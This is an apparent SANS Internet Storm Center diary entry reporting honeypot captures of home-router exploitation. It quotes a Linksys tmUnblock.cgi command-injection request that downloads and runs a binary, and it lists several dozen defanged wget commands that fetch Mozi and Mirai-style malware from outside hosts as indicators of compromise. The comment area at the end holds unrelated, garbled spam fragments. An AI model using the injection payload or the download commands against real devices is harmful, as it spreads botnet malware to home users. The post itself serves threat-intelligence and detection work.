Scanning Home Internet Facing Devices to Exploit

Published: 2020-07-11
Last Updated: 2020-07-11 23:31:53 UTC
by Guy Bruneau (Version: 1)
2 comment(s)

In the past 45 days, I noticed a surge of activity in my honeypot logs for home router exploitation. This is a summary of the various hosts and IP addresses with potential exploit packages available for download. What is also interesting is the fact that most URL were only IP based, no hostname associated with them. Some of the URL were improperly configured, they still contained the default private IP and a few other contained: YOURIPHERE.

20200710-190150: 192.168.25.9:80-111.229.239.203:34654 data 'POST /tmUnblock.cgi HTTP/1.1\r\nHost: 93.114.82[.]154:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: python-requests/2.20.0\r\nContent-Length: 227\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nttcp_ip=-h `cd /tmp; rm -rf mpsl; wget http://YOURIPHERE/bins/mpsl; chmod 777 mpsl; ./mpsl linksys`&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1'

Indicators of Compromise

14 wget http://ardp.hldns[.]ru/EThHpW
6 wget http://178.33.64[.]107/arm7
5 wget http://164.132.92[.]168:6479/bins/viktor.mips
4 wget http://185.172.111[.]214/8UsA.sh
4 wget http://147.135.173[.]238/pulse
4 wget http://212.114.52[.]128/arm7
4 wget http://51.222.26[.]189/yakuza.mpsl
3 wget http://ardp.hldns[.]ru/loligang.EThHpW
2 wget http://194.15.36[.]96/bins/mpsl
2 wget http://37.49.224[.]253/bin
2 wget http://37.49.224[.]46/bins/mpsl
2 wget http://19ce033f.ngrok[.]io/arm7
2 wget http://96.30.193[.]26/arm7
2 wget http://80.82.70[.]140//ef59f34faec0514e8d96b40f72b355d99b91f45d5cd14dce39094dbcd8c4e002.mips
2 wget 192.154.229[.]223/beastmode/b3astmode.arm7
1 wget -g 37.49.226[.]16 -l /tmp/leooon -r /luoqxbocmkxnexy/tbox.mips
1 wget http://116.114.95[.]20:55639/Mozi.a
1 wget http://123.11.8[.]237:60403/Mozi
1 wget http://37.49.224[.]44/bins/mpsl
1 wget http://163.204.21[.]255:37827/Mozi.a
1 wget http://172.39.5[.]207:43229/Mozi.m
1 wget http://45.95.168[.]131/bins/mpsl
1 wget http://45.95.168[.]228/sn0rt.sh
1 wget http://45.84.196[.]58/bins/mpsl
1 wget http://45.84.196[.]135/bins/mpsl
1 wget http://49.89.231[.]228:57693/Mozi.m
1 wget http://172.45.61[.]7:35173/Mozi.a
1 wget http://192.3.45[.]185/arm7
1 wget http://irc.hoaxcalls[.]pw/sh
1 wget http://77.43.137[.]199:50375/Mozi.a
1 wget http://77.43.253[.]106:34278/Mozi.a
1 wget http://89.148.247[.]11:35039/Mozi.a
1 wget http://62.4.31[.]161/bins/mpsl
1 wget http://194.15.36[.]125/bins/mpsl
1 wget http://176.123.6[.]35/bins/mpsl
1 wget http://45.95.168[.]228/YaO2uFOvUG8LV1y5NY1aCHmr1WdBLjcjiVD6aRRAWDL6oNY29J88y0nrXxaHBmTLEYC9yB56gBn95pco8kCbldVsHmjNQk8JTaC/Meth.mpsl
1 wget http://23.95.89[.]71/bins/mpsl
1 wget http://159.89.182[.]124/ankit/jno.mpsl
1 wget http://209.141.37[.]101/bins/mpsl
1 wget http://107.174.206[.]110/bins/mpsl
1 wget http://23.95.89[.]71/bins/mpsl
1 wget http://94.102.54[.]78/bins/mpsl
1 wget 185.172.111[.]214/bins/UnHAnaAW.x86

Failed URL
12 wget http://192.168.1[.]1:8088/Mozi.m    <- Private IP
3 wget http://YOURIPHERE/bins/mpsl         <- Forgot to configured
2 wget http://192.168.1[.]1:8088/Mozi.a       <- Private IP

SH256 Hash
Mozi.m e15e93db3ce3a8a22adb4b18e0e37b93f39c495e4a97008f9b1a9a42e1fac2b0

[1] https://isc.sans.edu/ipinfo.html?ip=93.114.82.154
[2] https://urlhaus.abuse.ch/url/399840/
[3] https://urlhaus.abuse.ch/url/332748/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

2 comment(s)
VMware XPC Client validation privilege escalation vulnerability - https://www.vmware.com/security/advisories/VMSA-2020-0017.html

Comments

What's this all about ..?
password reveal .
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Enter comment here... a fake TeamViewer page, and that page led to a different type of malware. This week's infection involved a downloaded JavaScript (.js) file that led to Microsoft Installer packages (.msi files) containing other script that used free or open source programs.
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
Enter corthrthmment here...

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